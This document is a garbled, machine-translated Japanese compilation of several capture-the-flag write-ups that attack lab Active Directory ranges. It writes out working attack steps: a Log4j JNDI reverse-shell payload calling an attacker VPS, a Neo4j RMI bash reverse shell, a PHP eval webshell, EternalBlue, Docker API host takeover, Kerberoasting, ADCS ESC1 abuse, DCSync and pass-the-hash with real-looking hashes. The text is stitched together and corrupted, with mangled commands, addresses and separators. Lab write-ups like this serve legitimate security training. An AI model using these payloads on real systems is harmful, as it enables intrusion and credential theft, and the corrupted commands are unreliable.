すばやく通過します:エントリマシンには特別なものがなく、ルートする権限を上げることができません(ルートするために権限を上げる必要はありません)。 stapbpf suidは使用できませんでした

DIFF SUID imageFLAG01DIFF-LINE-FORMAT=%L/DEV/NULL /HOME/FLAG/FLAG01.TXT imageFLAG01

3つのマシン172.22.4.19 fileserver.xiaorang.labの情報を取得します

172.22.4.7 DC01.XIAORANG.LAB

172.22.4.45 win19.xiaorang.lab

flag01プロンプトユーザー名+ rockyou.txtを使用して爆発し、有効な資格情報(プロンプトパスワードの有効期限が切れる)を作成します。システムでマシンアカウントを取得します。

デスクトップimageには、この列に従ってください。現在のユーザーAdrianは、レジストリimage image権利を完全に制御しています

MSFvenomはService Horseを生成し、SAM.BAT imageを実行します

sam.bat image

レジストリを変更してサービスを有効にすると、デスクトップはSAM、セキュリティ、システムimageを取得します。 Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:BA21C629D9FD56AFF10C3E826323E6AB3:33333333:3360

$ Machine.ACC: AAD3B435B51404EEAAD3B435B51404EE:917234367460F3F2817AA4439F97E636image

flag02 imageマシンアカウントを使用したドメイン情報の収集トリガーを強制的にWin19に戻し、DC01 image imageBase64のTGTデコードのTGTを取得するためにDC01.KIRBI imageDCSYNC Get Domain Managements image

0x04 PWING WIN19-172.22.4.45

PSEXEC-FLAG03 image

0x05 DCテイクオーバー-172.22.4.7

ヒントのマスターアルファブグ(0x03-0x04)に感謝します。 https://www.freebuf.com/articles/web/352151.html

0x00イントロ

OSCP浸透スタイル、C2やMSFなどのツールを残すことは難しくありません

0x01情報

TAG: JDBC、Exchange、NTLM、COERCE認証、DCSYNC napv2xepems3012.png

0x02 Recon

ターゲット外部IP39.98.179.149NMAP結果zcf0nwzlb1z3013.png 8000ポートに直接従います。私は以前にすでに80を逃したことがあり、直接合格するものはありません。pawphea1rc03014.png Huaxia ERP、多くの抜け穴があり、エントリポイントは長い間立ち往生しており、後でJDBCを見て、Google検索後に兄の記事を直接検索しました。

FastJsonのハイバージョンマジックトリック-BMTH (bmth666.cn)(http://www.bmth666.cn/bmth_blog/2022/10/19/fastjson%E9%ABA98%E7%89%88%E6%9C%AC%E7%9A%84%A5%A5%87% E6%8a%80%E6%B7%AB%E5%B7%A7/#%E8%93%9D%E5%B8%B8%BD%E6%9D%AF2022%E5%86%B3%E8%B5%9B-%E8%B5%8C%E6%AA)構造ペイロードzivwxuyr0re3015.pngConfigure mysql_fake_server 3x5yycchxzqq3016.png unauthorized + mysqlコネクタJDBCデシリア化の組み合わせパンチダイレクトRCE nbedklispgr3017.pngrce直接買収後の直接取得後kyi51fgprvv3018.png6950660kyi51fgprvv3018.png

0x03エントリポイント:172.22.3.12

SMB SMBは、イントラネットホストをスキャンし、Exchangeキーワード(EXC01)を確認し、i52qwlfsc2l3019.png172.22.3.9にアクセスしようとします。 Exchange mvh1xfvyus13020.pngProxylogonを直接倒して、システム許可を取得するr5rq5ru3mwa3021.png cymhdpuosf33022.pngFLAG02(その後の短い資格情報コレクション)ohwcb4ytjow3023.png

0x04エントリポイント:172.22.3.9

Fast Forward 1:Exchange Machineアカウントのハッシュが収集されました2:同時に、ドメインアカウント資格情報が収集されました:Zhangtongは上記の操作を通じてExchange Machineアカウントのハッシュを収集しました。 Exchange Machineアカウントには、ドメイン内のドメインオブジェクト全体のACL許可が書かれています。次に、dacledit.pyを使用してZhangtongにDCSync権限を追加します(実際、DCSYNCを自分に追加することもできます)3j14y3zjn2x3024.pngDCSYNCとユーザーLumia lzvg4y3en3w3025.pngのハッシュを取得して172.22.3.2.2.3.2.2.cymhdpuosf33022.png-6951cymhdpuosf33022.png10149514951495149514951495149514951013

0x05ファイナル:172.22.3.26

172.22.3.26 4t2idhth31u3026.pngを超えるLumiaユーザーフォルダーにsecret.zipがあります。 attachment, which is full of mobile phone number ipagftkwhtb3027.png Regular operation, convert to a hash in pkzip format and runs the dictionary, and runs out the password gidqi1a5gxb3028.png rruinddbngu3029.png e0d3ffs2e403030.pngflag03 i1prwh2nvzd3031.png rpo5rlkkkmo3032.png

0x06 outro

交換後、著者の当初の意図は、NTLMリレーを使用してDCSYNCアップグレードを完了し、交換システムの許可を取得し、WebDAVをトリガーしてLDAPにリレーすることです。興味がある場合は、以前の記事を読むことができます。著者はまた、Lumiaユーザーのパスワードを変更することを望んでいますが、私は怠け者です。直接PTHオリジナルリンク:https://www.anquanke.com/post/id/286967

ターゲットマシンをオンにした後、ThinkPHPアイコンを備えたログインインターフェイスがあります。直接テストするだけです

ik5rrv4oxzo3033.pngが存在します5.0.23 RCE

l0zukody33i3034.png、PHP-7.4.3の環境を確認しましょう。Disable_Functionsをご覧ください

pcntl_alarm、pcntl_fork、pcntl_waitpid、pcntl_wait、pcntl_wifexited、pcntl_wifstopped、pcntl_wifsignaled、 pcntl_wifcontinued、pcntl_weexitstatus、pcntl_wtermsig、pcntl_wstopsig、pcntl_signal、pcntl_signal_get_ha ndler、pcntl_signal_dispatch、pcntl_get_last_error、pcntl_strerror、pcntl_sigprocmask、pcntl_sigwaitinfo、pcntl_sigtimedwait、pcntl_exec、pcntl_getpriority、pcntl_setpriority、pcntl_asynciment

lefmxmf2zzg3035.pngトランスミッションはすぐに、アリの剣の接続はwww-data許可です。

2dybdct2vo53036.png以前に従った公式アカウントの下でいくつかの記事を見つけました。 Web Security Toolsライブラリは非常に完全な《Linux提权备忘录》です

許可を与えられている猫/などを試してみてください。

l5mlmr1ymxm3037.pngこのウェブサイトはコマンドの標高のリファレンスを提供できます

bgbe1yabpzk3038.pngは、mysql、sudo mysql -e 'を使用して実装できます! cat /root/flag/flag01.txt 'フラグの最初の部分を取得します

43omywaba5m3039.pngifconfigチェックIP

bys3mdkv3xj3040.png fscanをパスアップしてセクションC、/FSCAN_AMD64 -H 172.22.1.1/24でスキャンして、結果は現在のresult.txtになりました。

172.22.1.18:3306オープン

172.22.1.2:88オープン

172.22.1.21:445オープン

172.22.1.18:445オープン

172.22.1.2:445オープン

172.22.1.21:139オープン

172.22.1.18:139オープン

172.22.1.2:139オープン

172.22.1.21:135オープン

172.22.1.18:135オープン

172.22.1.2:135オープン

172.22.1.18:80オープン

172.22.1.15:80オープン

172.22.1.15:22オープン

[*] 172.22.1.2(Windows Server 2016 Datacenter 14393)

[+] 172.22.1.21 MS17-010(Windows 7 Professional 7601サービスパック1)

[+] NetInfo:

[*] 172.22.1.21

[ - ] Xiaorang-Win7

[ - ] 172.22.1.21

[+] NetInfo:

[*] 172.22.1.18

[ - ] Xiaorang-OA01

[ - ] 172.22.1.18

[+] NetInfo:

[*] 172.22.1.2

[ - ] DC01

[ - ] 172.22.1.2

[*] 172.22.1.2 [+] DC Xiaorang \ DC01 Windows Server 2016 DataCenter 14393

[*] webtitle:3333333333333:200 code:200 len:5578 title33:bootstrapマテリアル管理者

[*] 172.22.1.18 Xiaorang \ Xiaorang-OA01 Windows Server 2012 R2 DataCenter 9600

[*] 172.22.1.21 __msbrowse __ \ xiaorang-win7 Windows7 Professional 7601サービスパック1

[*] webtitle:333333333333:3:302 len:0 title:NoneジャンプURL: 3http://172.22.1.18?M=ロギー

[*] webtitle:3333333333333333http://172.22.1.18?M=Login Code:200 LEN3:4012 Title:Signコールコラボレーションオフィスシステム

[+] http://172.22.1.15 POC-YAML-THINKPHP5023-METHOD-RCE POC1

.15は見る必要はありません。21は永遠の青の存在を伴うWin7、18はOAを呼び出すシステムであり、2はドメインコントロールです

NPS+Proxifier Proxyを使用した転送、最初に.18を見てください

pndzxcefyak3041.pngそれを行うには2つの方法があります。 1つ目は、コールOAのファイルアップロード脆弱性をターゲットにすることです。 Master Y4Tackerの記事を参照できます。弱いパスワードadmin/admin123を使用してログインし、Expを入力してください。

2番目の方法は、 /phpmyAdminを使用して直接ルート /ルートをログインし、ログを使用してWebShellに書き込むことです。

dwy4ucpfing3042.png最初のステップは、「一般%」のようなショー変数を実行することです。ログが有効になっているかどうかを確認し、保存されているログの場所を確認します

wx2wq5iloax3043.png秒ステップSET GLOBAL general_log=on;ログをオンにします

3qcksgdro213044.png 3番目のステップは、ログ保存場所を設定するためにグローバルgeneral_log_fileを設定します

z03oex2mrph3045.png最後に '?php eval($ _ post [cmd]);

ut03iym0s3a3046.png次に、21はWin7マシンです。 MS17-010に電話することができます。試した後、ネットワークを離れることはできません。フォワードモニタリングを使用できます。

最初にプロキシをハングアップし、Proxychains MSFConsoleをSocks5トラフィックに移動し、次にExploit/Windows/SMB/MS17_010_ETERNALBLUE=SET PAYLOAD WINDOWS/X64/METERPRETER/BIND_TCP_UUID=SET RHOSTS 172.22.1.21=ExploitiTloit

j5bwwrqm1zo3047.png正のメータープレターシェルを取得した後、次のステップはDCSYNCを使用することです

DCSYNCの導入については、この記事を参照できます。最大の機能は、ドメインコントロールにログインせずにドメイン制御に関するデータを取得できることです。

KiwiをMSFの下に直接ロードし、その後Kiwi_cmd 'lsadump3:3360dcsync /domain:xiaorang.lab /all /csv' exitエクスポートハッシュハッシュをドメイン内のすべてのユーザーに対してハッシュします。

xzabqfaexh23048.pngは.2の前にスキャンされ、445ポートを開きます。 SMBハッシュを使用して、Kaliに付属のCrackMapexecで直接渡します。プロキシチャインCrackmapexec SMB 172.22.1.2 -U管理者-H 10CF89A850FB1CDBE6BB432B859164C8 -D XIAORANG.LAB -X '$ CMD'

haje1iuu2y13049.pngオリジナルリンク:http://119.45.47.125/index.php/2022/11/24/yunjing-4/

命令

認定は、中程度の難易度を持つ射撃範囲環境です。この課題を完了することで、プレイヤーはプロキシ転送、イントラネットスキャン、情報収集、特権エスカレーション、およびイントラネットの浸透における水平方向の動きの技術的方法を理解し、ドメイン環境のコア認証メカニズムの理解を強化し、ドメイン環境の浸透における興味深い技術的ポイントを習得するのに役立ちます。射撃場には4つのフラグがあり、さまざまなターゲットマシンに配布されています。

テクノロジー

SOLR、AD CS、SMB、Kerberos、ドメイン浸透

最初のフラグ

log4j rce

外部ネットワークIPをスキャンします

1049983-20230307110517262-27201457.png solrにはlog4jコンポーネントがあることを発見しました。

1049983-20230307110518011-2082945395.pngget /Solr/admin/cores?action=$ {jndi:ldap://1p9bvr.dnslog.cn} http/1.1

HOST: 47.92.113.194:8983

Accept: Application/Json、Text/Plain、 */*

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/106.0.0.0 safari/537.36

X-Requested With: xmlhttprequest

Referer: http://47.92.113.194:8983/solr/

Accept-Encoding: gzip、deflate

Accept-Language: ZH-CN、ZH; Q=0.9、ZH-TW; Q=0.8

Connection:閉鎖1049983-20230307110518750-1249723470.pngDNSLOGエコー

1049983-20230307110519454-847276684.pngJNDIリバウンドシェル、VPSで開きます

#悪意のあるクラスの読み込み

Java -jar Jndiexploit -1.3 -snapshot.jar -i 47.103.xx.xxx

#enable監視

NC -LVVP 5555 1049983-20230307110520161-1238749396.pngPAYLOAD

$ {jndi:ldap3360 //47.103.xxx.xxx:1389/basic/reverseshell/47.103.xxx.xxx/5555}リクエストを送信します

/solr/admin/cores?action=$ {jndi:ldap3360//47.103.xxx.xxx:1389/basic/reverseshell/47.103.xxx.xxx/5555} http/1.1

HOST: 47.92.113.194:8983

Accept: Application/Json、Text/Plain、 */*

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/106.0.0.0 safari/537.36

X-Requested With: xmlhttprequest

Referer: http://47.92.113.194:8983/solr/

Accept-Encoding: gzip、deflate

Accept-Language: ZH-CN、ZH; Q=0.9、ZH-TW; Q=0.8

Connection: Closeはシェルを正常にリバウンドします

1049983-20230307110520957-1838953280.pngsudoの権利のエスカレーション

Sudo -l 1049983-20230307110521790-296300015.pngSudo Grc - Help 1049983-20230307110522600-1875494381.pngSudo Grc-Pty Whoami 1049983-20230307110523204-310705807.png FIND FLAG

sudo grc -pty find/-nameフラグ* 1049983-20230307110523944-186127248.png出力フラグ

sudo grc -pty cat /root/flag/flag01.txt 1049983-20230307110524763-1879119967.png

2番目のフラグ

イントラネット浸透

エージェントのエージェントとイントラネットをスキャンします。詳細は説明しません(HTTPサービスのセットアップ、NPCとFSCANのダウンロード)

172.22.9.13:445オープン

172.22.9.26:445オープン

172.22.9.47:445オープン

172.22.9.73360445オープン

172.22.9.26:139オープン

172.22.9.47:139オープン

172.22.9.7:139オープン

172.22.9.26:135オープン

172.22.9.13:139オープン

172.22.9.13:135オープン

172.22.9.7:135オープン

172.22.9.26:80オープン

172.22.9.47:80オープン

172.22.9.19:80オープン

172.22.9.47:22オープン

172.22.9.47:21オープン

172.22.9.19:22オープン

172.22.9.7:88オープン

172.22.9.19:8983オープン

[+] NetInfo:

[*] 172.22.9.13

[ - ] CA01

[ - ] 172.22.9.13

[*] 172.22.9.7 [+] DC Xiaorang \ Xiaorang-DC

[*] 172.22.9.26 Xiaorang \ desktop-cbktvmo

[+] NetInfo:

[*] 172.22.9.26

[ - ] desktop-cbktvmo

[ - ] 172.22.9.26

[+] NetInfo:

[*] 172.22.9.7

[ - ] Xiaorang-DC

[ - ] 172.22.9.7

[*] 172.22.9.13 Xiaorang \ Ca01

[*] webtitle:3http://172.22.9.47 code:200 len:10918 title:apache2 ubuntuデフォルトページ:

[*] webtitle:3333333333333:200 len:612 title:welcome nginx!

[*] 172.22.9.47 WorkGroup \ Fileserver Windows 6.1

[*] 172.22.9.47(Windows 6.1)

[*] webtitle:333333333333333333333333:8983 code:3022 len3:0 title:noneジャンプURL: http://172.22.9.99:8983/SOLR/

[*] webtitle:33333333333333:26 code:200 len:703 title:iis windowsサーバー

[*] webtitle:3333333333333333333333333333333333:8983/solr/code:200 len:16555 title:solr adminは、以下の資産を発見しました

172.22.9.19入学IP

172.22.9.7 DC

172.22.9.26ドメインメンバー

172.22.9.47ファイルサーバー

172.22.9.13 CAプロンプトによれば、ファイルサーバーには情報をさらに収集するためにSMB共有が必要です

注:FSCANはSMBの共有モードをスキャンしないため、NMAPを使用してスキャンできます

sudo grc -pty nmap -st -a 172.22.9.47 1049983-20230307110525634-224058230.pngを使用して共有に接続する

proxychains smbclient \\\\ 172.22.9.47 \\ fileshare

監督

人事を取得します。DB

secret \ flag02.txt 1049983-20230307110526730-874103981.png Get Falg02を取得すると、SMBが列挙されている別のプロンプトがあります。しかし、あなたはSPNが何であるか知っていますか?

1049983-20230307110527663-561253035.png

3番目のフラグ

データベースファイルにはいくつかのユーザー名とパスワードがあります

1049983-20230307110528608-1922222552.pngRDPクラック

プロキシチェーンHydra -l user.txt -p pwd.txt 172.22.9.26 RDP -VV -E NS 1049983-20230307110529424-1574261648.png

kerberost攻撃

getUserSpns.pyを使用して、ドメインユーザーの下に登録されているSPNを見つける

Proxychains python3 getuserspns.py -request -dc -ip 172.22.9.7 xiaorang.lab/zhangjian 1049983-20230307110530267-940825500.pnghashオフラインクラッキング、非常に速く、1.txtはハッシュ値です。

hashcat64.exe -m 13100 1.txt rockyou.txt 1049983-20230307110531096-261013704.png get zhangxia/mypass2 @@ 6、アカウントパスワードを使用してリモートでログインします

ドメインアカウントであるため、ユーザー名はzhangxia@xiaorang.labであることに注意してください。ログインした後、管理者の許可ではないため、管理者ディレクトリに直接アクセスしてフラグを見つけることはできません。

1049983-20230307110531761-1694751780.png

ADCS ESC1

certify.exeを使用して脆弱性を見つけます

certify.exe検索/脆弱な1049983-20230307110532827-710567663.pngESC1利用前提条件:

mspki-certificates-name-flag: enrollee_supplies_subject

この証明書テンプレートに基づいて新しい証明書を申請したユーザーが、他のユーザー、つまりドメイン管理者ユーザーを含むユーザーに証明書を申請できることを示します。

pkiextendedkeyusage:クライアント認証

この証明書テンプレートに基づいて生成された証明書を使用して、Active Directoryでコンピューターを認証できることを示します

登録権: NT Authority \認証ユーザー

Active Directoryの認証されたユーザーが、この証明書テンプレートに基づいて生成された新しい証明書を要求できることを示します

ドメイン管理の証明書を申請します

certify.exe request /ca:ca01.xiaorang.lab\xiaorang-ca01-ca /template:'xr manager ' /altname:xiaorang.lab\administrator 1049983-20230307110533809-973528015.png

フォーマットを変換します

OpenSSL PKCS12 -in CERT.PEM -KEYEX -CSP 'Microsoft Enhanced Cryptographic Provider V1.0' -Export -out Cert.PFXリクエストTGT、PTT

証明書をエクスポートして変換するときに入力されたパスワードがないため、ここにパスワードを空白のままにしておくだけです

rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password: /ptt 1049983-20230307110535013-1306229124.pngドメインマネージャーからチケットを取得した後、ハッシュをエクスポートします

mimikatz.exe 'lsadump:3360dcsync /domain:xiaorang.lab /user:administrator'出口1049983-20230307110535889-669844448.png

ハッシュパス

PTH 172.22.9.26

プロキシチャインCrackmapexec SMB 172.22.9.26 -U Administrator -H2F1B57EEFB2D152196836B05166666666660 -D Xiaorang.lab -X 'タイプユーザー\管理者\ flag \ flag03.txt'

ProxyChains Python3 wmiexec.py -Hashes 00000000000000000000000000000000000000000000000000000:2F1B57EEFB2D152196836B0516ABEA80管理者@172.22.9.71049983-20230307110538028-1871985575.png元リンク: https://zhuanlan.zhihu.com/p/581487685

命令

不正は、中程度の難易度を持つ射撃範囲環境です。この課題を完了することで、プレイヤーはプロキシ転送、イントラネットスキャン、情報収集、特権エスカレーション、およびイントラネット浸透における横方向の動きの技術的方法を理解し、ドメイン環境のコア認証メカニズムの理解を強化し、ドメイン環境の浸透に興味深い技術的ポイントを習得するのに役立ちます。射撃場には3つのフラグがあり、さまざまなターゲットマシンに配布されています。

テクノロジー

FTP、特権標高、AD CS、Kerberos、ドメイン浸透

最初のフラグ

dockerは承認されていません

外部ネットワーク情報を通じて収集された、Dockerが許可されていないことがわかった

https://cloud.tencent.com/developer/article/1744943

1049983-20230307110439373-897625583.pngミラーを表示します

Docker -H TCP3360 //47.92.7.138:2375画像1049983-20230307110440125-1811605968.pngコンテナの閲覧

Docker -H TCP3360 //47.92.7.138:2375 PS -A 1049983-20230307110440734-1869544517.pngコンテナを起動し、ホストディスクを/MNTにマウントします

Docker -H TCP3360 //47.92.7.138:2375 RUN -IT -V/:/MNT -ENTRYPOINT/BIN/BASH/BASH UBUNTU:18.04 1049983-20230307110441418-169215008.png

公開鍵を書きます

を生成します。 Enterを押した後、3つの相互作用があります。最初のものはファイル名で、デフォルトではID_RSAです。変更する必要がある場合は、ファイル名を自分で入力してください。 2番目と3番目は、パスワードと確認パスワードです。これは、将来公開キーを使用するときに入力するパスワードです。それらは通常設定されていません。強力なセキュリティニーズがある場合は、自分で設定できます。最後に、2つのファイルid_rsa、id_rsa.pubが生成されます。pubのエンディングは公開キーであり、もう1つは秘密鍵です

ssh-keygen -t rsa 1049983-20230307110442223-521307798.pngターゲットマシンホストの/root/.ssh/authorized_keysファイルに公開キーを書き込む

cd /mnt/root/.ssh/

Echo 'SSH-RSA AAAAB3NZAC1YC2 ..' Authorized_Keys 1049983-20230307110443198-1135312253.png秘密キーをローカルで直接SSHに直接ログインできます

1049983-20230307110443995-1365905384.pngフラグを調べて、旗がここにないように促します

1049983-20230307110444805-1391905342.png

mysql弱いパスワード

このマシンの開いたポートを表示します

netstat -aptn 1049983-20230307110445835-921831822.png履歴コマンドを確認し、MySQLパスワードが123456であることを確認します。実際、爆破することもできます。

履歴1049983-20230307110446520-658369048.pngアクセスmysqlデータベース

mysql -uroot -p123456

MySQLショーデータベース。

mysqlは秘密を使用します。

MySQLは表を表示します。

mysql select * from f1agggg01から最初のフラグを取得します

1049983-20230307110447244-1248407839.png

secondフラグ

ハンドアロンの浸透

アップロードNPC設定プロキシ、FSCANスキャン172.22.7.0/24

172.22.7.67:8081オープン

172.22.7.13:80オープン

172.22.7.13:22オープン

172.22.7.67:445オープン

172.22.7.31:445オープン

172.22.7.67:21オープン

172.22.7.63360445オープン

172.22.7.67:80オープン

172.22.7.67:139オープン

172.22.7.31:139オープン

172.22.7.6:139オープン

172.22.7.31:135オープン

172.22.7.67:135オープン

172.22.7.6:135オープン

172.22.7.6:88オープン

172.22.7.13:2375オープン

[+] NetInfo:

[*] 172.22.7.6

[ - ] DC02

[ - ] 172.22.7.6

[*] 172.22.7.67 Xiaorang \ win-9bmcsg0s

[*] webtitle:33333333333333:200 len:27170 title:xxデコレーション

[+] NetInfo:

[*] 172.22.7.67

[ - ] win-9bmcsg0s

[ - ] 172.22.7.67

[+] NetInfo:

[*] 172.22.7.31

[ - ] ADCS

[ - ] 172.22.7.31

[*] 172.22.7.31 Xiaorang \ adcs

[*] 172.22.7.6 [+] DC Xiaorang \ dc02

[*] webtitle:333333333333333333:2375 code:404 len:29 title:none

[+] ftp: //172.22.7.67:213360anonymous

[ - ] 1-1p3201024310-l.zip

[ - ] 1-1p320102603c1.zip

[ - ] 1-1p320102609447.zip

[ - ] 1-1P320102615Q3.ZIP

[ - ] 1-1p320102621j7.zip

[ - ] 1-1p320102j30-l.zip

[*] webtitle:33333333333:200 code:200 len:703 title:iis windowsサーバー

[*] webtitle:3333333333333333:8081 code:200 len:4621 title33:会社管理バックエンド

[+] http://172.22.7.13:2375 POC-YAML-DOCKER-API-UNAOTORIZED-RCE

[+] http://172.22.7.67:8081/www.zip poc-yaml-backup-file

[+] http://172.22.7.13:2375 Poc-Yaml-go-pprof-Leak 010-3http://172.22.22.7.67:8081/www.zipバックアップ圧縮パッケージ。減圧後、ダウンロードフォルダーが匿名でログに記録されているFTPの共有ファイルと一致していることがわかりました

したがって、1049983-20230307110448166-1687460793.pngしたがって、WebShellはFTPを介してアップロードできます

1049983-20230307110449088-758201621.pngシェルアドレス

http://172.22.7.67:8081/download/shell.asp 1049983-20230307110449800-657193850.pngジャガイモを直接使用して権利を増やし、sweetpotato.exeをアップロードします

sweetpotato.exe -a 'whoami' 1049983-20230307110450532-2131991191.pngテスト後、3389が有効になります。アカウントを直接追加してログインします

sweetpotato.exe -a 'ネットユーザーdevyn admin@123 /add'

sweetpotato.exe -a 'net localgroup管理者devyn /add' 1049983-20230307110451238-67786808.png Get Flag

1049983-20230307110451947-1217760269.png

ftp認定

この新しく作成されたユーザーはドメインコマンドを実行できないため、ドメインアカウントを照会してからPTHでログインする必要があることに注意してください。パスワードを見つけた場合は、直接ログインできます。実際、シェル内のMimikatzを直接実行してハッシュをつかむことができます。ここのリモートデスクトップは、CMDを使用して実行する方が便利です。

ドメインアカウントをrawったZhangfeng/fenzgtavf6en、ドメインアカウントで再度ログインするには、zhangfeng@xiaorang.labにユーザー名を入力する必要があることに注意してください。

1049983-20230307110452716-534730590.png

shurd 3番目のフラグ

https://wiki.whoamianony.top/active-directory-methodology/shadow-credentials

次のアカウントには、MSDS-Keycredentiallinkプロパティへの書き込み許可があります。

ドメイン管理者アカウント主要な管理者グループアカウントエンタープライズキー管理者グループアカウントを備えたアクティブディレクトリのオブジェクトへの一般的または汎用ライターのアクセス許可は、主要な管理者グループのMSDS-KeycredentiallinkプロパティZhangfengアカウントへの書き込み権限を持っています。

1049983-20230307110453410-454769109.pngADDドメインコントローラーのMSDS-KeyCredentiAllinkプロパティへの影の資格情報

whisker.exe add /target:dc02 $ /domain:xiaorang.lab /dc:dc02.xiaorang.lab 1049983-20230307110454285-1911397589.png919追加の追加が成功した後、プログラムは証明書の認証に基づくTGTチケットを要求するコマンドを促します。プロンプトコマンドが最後に /PTTに追加されることに注意してください

1049983-20230307110455197-1657870621.pngドメインコントローラーアカウントには特権があり、Mimikatzを使用してDCSYNCを実行してドメインハッシュをエクスポートできます

mimikatz.exe 'privilege:3360debug' 'lsadump:dcsync /domain:xiaorang.lab /user3360administrator'出口1049983-20230307110455933-1868157370.png 00000000000000000000000000000000003360BF967C5A0F7256E2EABA589FBD29A382 ADIVISTORATOR@172.22.7.6 1049983-20230307110456914-34394100.png 1049983-20230307110457900-1641963904.png元のリンク: https://zhuanlan.zhihu.com/p/581451146

命令

時間は、中程度の難易度を持つ射撃場環境です。この課題を完了することで、プレイヤーはプロキシ転送、イントラネットスキャン、情報収集、特権エスカレーション、およびイントラネットの浸透における水平方向の動きの技術的方法を理解し、ドメイン環境のコア認証メカニズムの理解を強化し、ドメイン環境の浸透における興味深い技術的ポイントを習得するのに役立ちます。射撃場には4つのフラグがあり、さまざまなターゲットマシンに配布されています。

テクノロジー

Neo4J、Kerberos、特権の昇格、ドメイン浸透

最初のフラグ

屋外IP情報コレクション

Infoscanを開始

(ICMP)ターゲット'39 .98.236.25 'は生きています

ICMP AliveホストLen IS: 1

39.98.236.25:22オープン

39.98.236.25:1337オープン

39.98.236.25:7474オープン

39.98.236.25:7473オープン

39.98.236.25:7687オープン

39.98.236.25:3555オープン

Alive Ports Len IS: 6

Vulscanを開始します

完成0/6 [ - ] Webtitle http://39.98.236.25:7473 GET 'http://39.98.236.25:7473'3360 Net/HTTP: HTTP/1.Xトランスポート'\ x15 \ x03 \ x03 \ x00 \ x02 \ x02p'

[*] webtitle:33333399.98.236.25:7474 code:200 len:145 title3360none

[*] webtitle:333333399.98.236.25:7687 code:400 len3:0 title:none

[*] webtitle:3333333939.98.236.25:7687 code:400 len3:0 title:none

6/6を完了しました

スキャンエンド

neo4j不正rce

NEO4Jは、オープンソースグラフデータベース管理システムです。

NEO4J 3.4.18以前には、Neo4Jシェルインターフェイスが有効になっている場合、攻撃者は任意の方法をRMIプロトコルを介して不正なアイデンティティとして呼び出すことができます。この脆弱性はRMIの劣るものではないため、Javaバージョンの影響はありません。 Neo4J 3.5以降のバージョンでは、Neo4Jシェルはサイバーシェルに置き換えられました。

https://github.com/zwjjustdoit/cve-2021-34371.jar

Java -jar Rhino_gadget.jar Rmi3360 //39.98.236.2533601337 'Bash -C {echo、ymfzacatasa+jiavzgv2l3r . nc81ntu1ida+jje=} | 1049983-20230307110559021-177737673.pngバウンスシェル

1049983-20230307110559740-99216481.pngフラグを見つけます

1049983-20230307110600465-112496222.png最初のフラグを取得します

1049983-20230307110601246-816106515.png

2番目のフラグ

イントラネット浸透

アップロードエージェントとFSCAN

Infoscanを開始します

完了0/0 IP4:ICMP 0.0.0.0: Socket:操作は許可されていません

runicmp2を試してみます

ICMPパケットを送信できない現在のユーザー権限

pingを開始します

(ICMP)ターゲット172.22.6.12は生きています

(ICMP)ターゲット172.22.6.25は生きています

(ICMP)ターゲット172.22.6.38は生きています

(ICMP)ターゲット172.22.6.36は生きています

[*] ICMP Alive Hosts Len IS: 4

172.22.6.25:445オープン

172.22.6.12:445オープン

172.22.6.25:139オープン

172.22.6.12:139オープン

172.22.6.25:135オープン

172.22.6.12:135オープン

172.22.6.38:80オープン

172.22.6.36:22オープン

172.22.6.38:22オープン

172.22.6.36:7687オープン

172.22.6.12:88オープン

[*] Alive Ports Len IS: 11

Vulscanを開始します

[+] NetInfo:

[*] 172.22.6.25

[ - ] Win2019

[ - ] 172.22.6.25

[+] NetInfo:

[*] 172.22.6.12

[ - ] dc-progame

[ - ] 172.22.6.12

[*] 172.22.6.12 [+] DC Xiaorang \ DC-Progame Windows Server 2016 DataCenter 14393

[*] 172.22.6.25 Xiaorang \ Win2019

[*] 172.22.6.12(Windows Server 2016 Datacenter 14393)

[*] webtitle:3333333333333:200 len:1531 title:バックエンドログイン

[*] webtitle:33333333333333333363633607687 code:400 len:50 title:none

11/11

SQL注入

に記入してくださいhttp://172.22.6.38にアクセスしてください。これはデータパケットをクロールするログインページです

post /index.php http /1.1

HOST: 172.22.6.38

Content-Length: 30

Cache-Control: Max-age=0

アップグレード-Insecure-Requests: 1

Origin: http://172.22.6.38

Content-Type:アプリケーション/x-www-form-urlencoded

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/107.0.0.0 safari/537.36

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=b3; q=0.9

参照: http://172.22.6.38/

Accept-Encoding: gzip、deflate

Accept-Language: ZH-CN、ZH; Q=0.9、ZH-TW; Q=0.8

Connection:閉じます

username=adminpassword=1111111 sqlmapを使用したテストインジェクション(プロセス省略)

sqlmap -r 1.txt - dump -t oa_f1agggg -d oa_db -batch 2番目のフラグを取得します

1049983-20230307110602079-2019239499.png

OA_ADMINテーブルとOA_USERSテーブルもあります。これは、ユーザーテーブルに500のユーザー名を辞書Username.txtに収集します

1049983-20230307110603044-594852005.png

‍‍ frag

ドメインユーザー列挙

Kerberos 'As-Req認証で、CNAME値のユーザーが存在しない場合、パッケージはKDC_ERR_C_PRINCIPAL_UNKNOWNをプロンプトします。

https://github.com/ropnop/kerbrute

proxychains ./kerbrute_linux_amd64 userenum - dc 172.22.6.12 -d xiaorang.lab username.txt -t 10kaliのプロキシ実行は成功しておらず、結果も表示されません。ファイルはエントリマシンに渡され、結果はリモート実行後にのみ取得されます

1049983-20230307110604060-1494380176.png合計74人のユーザーがいます。

1049983-20230307110604911-275497764.png

as-reproasting

ドメインユーザーの場合、オプションがKerberosの事前認定を必要としない場合(Kerberosの事前識別は必要ありません)、AS-REQリクエストをドメインコントローラーの88ポートに送信し、受信したAS-REPコンテンツを再結合し、「Kerberos 5 As-Rep Etype 23」の形式にスプライスできます。次に、HashcatまたはJohnを使用してそれをクラックし、最終的にユーザーのPlantextパスワードを取得できます。

事前に認識されていないアカウントを見つけます

proxychains python3 getnpusers.py -dc -ip 172.22.6.12 -usersfile user.txt xiaorang.lab/1049983-20230307110605674-1336457543.png

2つのアカウントを入手してくださいwenshao@xiaorang.lab、zhangxin@xiaorang.lab

